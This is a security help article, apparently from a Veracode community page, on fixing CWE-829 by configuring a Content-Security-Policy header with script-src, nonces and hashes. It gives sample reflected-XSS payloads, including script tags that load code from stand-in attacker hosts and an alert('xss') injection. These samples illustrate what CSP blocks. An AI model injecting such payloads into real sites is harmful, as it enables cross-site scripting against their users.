How to fix CWE 829 – Add CSP header correctly ?
CWE 829 - Inclusion of Functionality from Untrusted Control Sphere
Description
The Content-Security-Policy detected on the page does not restrict script execution via "script-src" or "default-src" directives.
If a Cross-Site-Scripting vulnerability exists within the page, an attacker could exploit it by injecting a script from untrusted source:
e.g. "<script scr=//malicious.attacker.com/a.js></script>".
The policy would allow execution of this malicious script.
While lack of "script-src" or "default-src" directives does not represents a security risk by itself, they may serve as an additional protection layer from Cross-Site-Scripting attacks. These directives help to ensure that scripts on the website are loaded from approved sources specified in the policy.
Recommendations
It is recommended to move all scripts to trusted locations, such as a local server or trusted CDN. Then, in the Content-Security-Policy you may specify all these trusted locations:
e.g.
"Content-Security-Policy: script-src 'https://static.example.com' 'https://cdn.example.com';"
Make sure that only "https" scheme is used, and avoid using asterisks ('*') as much as possible.
What is Content-Security-Policy header?
The Content-Security-Policy (CSP) is an HTTP response header that modern browsers use to improve web page security. It enables you to control which resources—such as JavaScript, CSS, and images—can be loaded and specify the allowed source URLs.
It basically defines the trusted sources of the resources.
CSP Directive Reference (https://content-security-policy.com/)
default-src defines the default policy for fetching resources such as JavaScript, Images, CSS, Fonts, AJAX requests, Frames, HTML5 Media. Not all directives fallback to default-src.
e.g. :
default-src 'self' cdn.example.com;
Please note that keyword 'self' if the resources can be loaded from the same domain that serves html pages.
Here, default-src is allowing all the resources to be loaded locally from same domain as well as from a 3rd party CDN domain which is cdn.example.com.
script-src Defines valid sources of JavaScript.
e.g. :
script-src 'self' js.example.com;
To address CWE-829, it is essential to define either the script-src or default-src directive in the Content-Security-Policy (CSP) header.
Since CSP was initially designed to mitigate Cross-Site Scripting (XSS) attacks, the script-src directive plays a crucial role in specifying trusted sources for JavaScript. If script-src is not explicitly defined, the default-src directive takes over this responsibility.
Additionally, CSP provides other directives such as style-src, img-src, font-src, and object-src, allowing more granular control over the sources of stylesheets, images, fonts, and embedded objects.
Below is an example of a CSP header incorporating these directives.
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn1.example.com https://cdn2.example.net 'nonce-random123';
img-src 'self' https://images.example.com data:;
style-src 'self' https://cdn1.example.com 'unsafe-inline';
font-src 'self' https://fonts.example.com;
connect-src 'self' https://api.example.net;
frame-src 'self' https://frames.example.com;
object-src 'none';
base-uri 'self';
form-action 'self';
frame-ancestors 'none';
report-uri https://csp-report.example.net/report;
Please note all directives are separated by semicolon (;) and for each directive values are separated by whitespace, few reserved keywords like "Self" , "unsafe-inline" , etc. are expressed in single qoutes for e.g. 'self' and 'unsafe-inline'.
The script-src directive guards the loading and execution of JavaScript.
Assume a Content-Security-Policy header is set with the following policy:
| script-src 'self' https://js.example.com; |
The above declaration would allow this insert of script tags:
<!-- allowed by 'self' -->
<script src="/js/some-file.js"></script>
<!-- allowed by https://js.example.com -->
<script src="https://js.example.com/file.js"></script>
But blocks these insertion of script tags :
<script src="https://attacker.example.com/file.js"></script>
Because We see attacker.example.com is not in the source list,
<script>
runInlineScript();
</script>
Inline scripts are blocked by default (Unless ‘unsafe-inline’ or hash or nonce is used)
<button onClick="runInlineScript();">
The execution of all JS event handlers from inline HTML markup are blocked default, onclick, onload, onmouseover, onsubmit, etc.
<a href="javascript:runInlineScript();">JS will not run.</a>
There is no way to get javascript: to work when CSP is enabled except for unsafe-inline.
We still see CWE 829 flagged in the DAST scan even after we defined the 'script-src' directive ?
Developers often define the script-src directive using two "unsafe" keywords:
The 'unsafe-inline' and 'unsafe-eval' keywords are commonly and conveniently used to allow the execution of inline scripts.
However, using 'unsafe-inline' in a Content Security Policy (CSP) should be avoided, as the name suggests, it poses security risks.
Consider a scenario where an application outputs a name from a query string variable.
eg: Hello #url.name#
When you hit the URL: /app?name=James, the response is
Hello James.
This clearly is an open window for a reflected cross site scripting attack. The attacker can simply inject a script tag:
| /app?name=<script src="https://attacker.example.com/kill.js"></script> |
When someone requests that URL the kill.js will execute.
We can prevent our app from loading JS from attacker.example.com using CSP. If we have the following policy:
script-src: 'self'
Since we specified 'self' in the script-src directive, JavaScript can only be loaded from the same origin as our app. Any attempt to load a script from bad-guy.example.com will be blocked by CSP.
Additionally, CSP prevents inline scripts from executing. So if your site contains legitimate inline JavaScript, such as:
<script>
doSomething();
<script>
That inline script will also be blocked by CSP by default.
To allow the above script, the most convenient option is to use ‘unsafe-inline’ .
script-src: 'self' 'unsafe-inline'
Now, go back to our vulnerable example app and try this:
/app?name=<script>alert('xss');<script>
By allowing 'unsafe-inline', we have reopened the XSS vulnerability that was previously mitigated with CSP.
As a result, the CWE-829 flaw will be flagged again.
Beyond permitting inline <script> tags, 'unsafe-inline' also enables the execution of JavaScript event handlers, such as the following example:
<button onClick="doSomething();">Do It</button>
Our application relies heavily on inline functions, and we need to allow them. What’s the best approach?
Primarily, there are two options to use inline function securely :
1) Using Nonce
2) Using Hash
Allow Inline Scripts using a Nonce
A nonce is just a random, single use string value that you add to your Content-Security-Policy header, like so:
script-src js-cdn.example.com 'nonce-rAnd0m1001';
Assuming our nonce value is rAnd0m1001 (you need to randomly generate a new nonce for every HTTP request), we can now use an inline script tag like this:
<script nonce="rAnd0m1001">
doSomething();
</script>
You can also use a CSP nonce on external scripts to allow them to execute. For example if we have a CSP policy similar to the following:
Content-Security-Policy: default-src 'none';script-src 'nonce-rAnd0m1002'
You can then add the nonce attribute to the script tag to allow jQuery to load without adding code.jquery.com to the CSP policy.
<script src="https://code.jquery.com/jquery-3.7.1.min.js" nonce="rAnd0m1002"></script>
Refer: https://content-security-policy.com/nonce/
Allow Inline Scripts using a Hash
A second approach to allow inline scripts is to use a hash, with this approach you compute the hash of your JavaScript code, and put the value in our CSP policy:
Suppose we have the following script on our page:
<script>doSomething();</script>
If you compute the SHA-256 hash of our entire JavaScript code block, in our case it is just: doSomething(); you will get the value:
| RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc= |
Finally we can add the hash to our script-src directive to allow it to execute via our Content-Security-Policy header:
script-src 'sha256-RFWPLDbv2BY+rCkDzsE+0fr8ylGr2R2faWMhq4lfEQc=';
Refer: https://content-security-policy.com/hash/
Which option is better : ‘nonce’ or ‘hash’ ? And why ?
If the JavaScript code changes, the hash becomes invalid, requiring a new hash to be generated for the updated script. Even minor changes, like adding or removing whitespace, will invalidate the hash.
A 'nonce' is smaller than a hash, reducing the header size. However, it must be generated dynamically and be unique for each request, meaning the CSP header must be created programmatically.
A hash can be defined at the web server level (config-level), whereas a nonce must be set at the application level (code-level) since it needs to be generated per request.
Overall, if scripts change frequently, using a CSP nonce is the better approach.
How to add nonce in Content Security Policy header dynamically to inline scripts using Java J2EE with Spring and C# and ASP.net ?
Page 2 of this article: Java J2EE example.
https://community.veracode.com/s/article/Adding-CSP-Header-Allowing-inline-script-using-nonce-java
Page 3 of this article: Dot Net example.
Topics (0)
Related Articles
Adding CSP Header- Allowing inline script using 'nonce' - Java example. 831Number of Views Manual Penetration Test - Post Engagement Activities 1.33KNumber of Views How to fix CWE 829 issues in Veracode 7.4KNumber of Views How to Fix a Veracode Static Analysis Flaw in 3rd-Party Software 6.01KNumber of Views Manual Penetration Test - Scheduling Process 1.62KNumber of Views
This topic isn't available in this community.
Related Topics
Ask the Community
Get answers, share a use case, discuss your favorite features, or get input from the Community.
.png)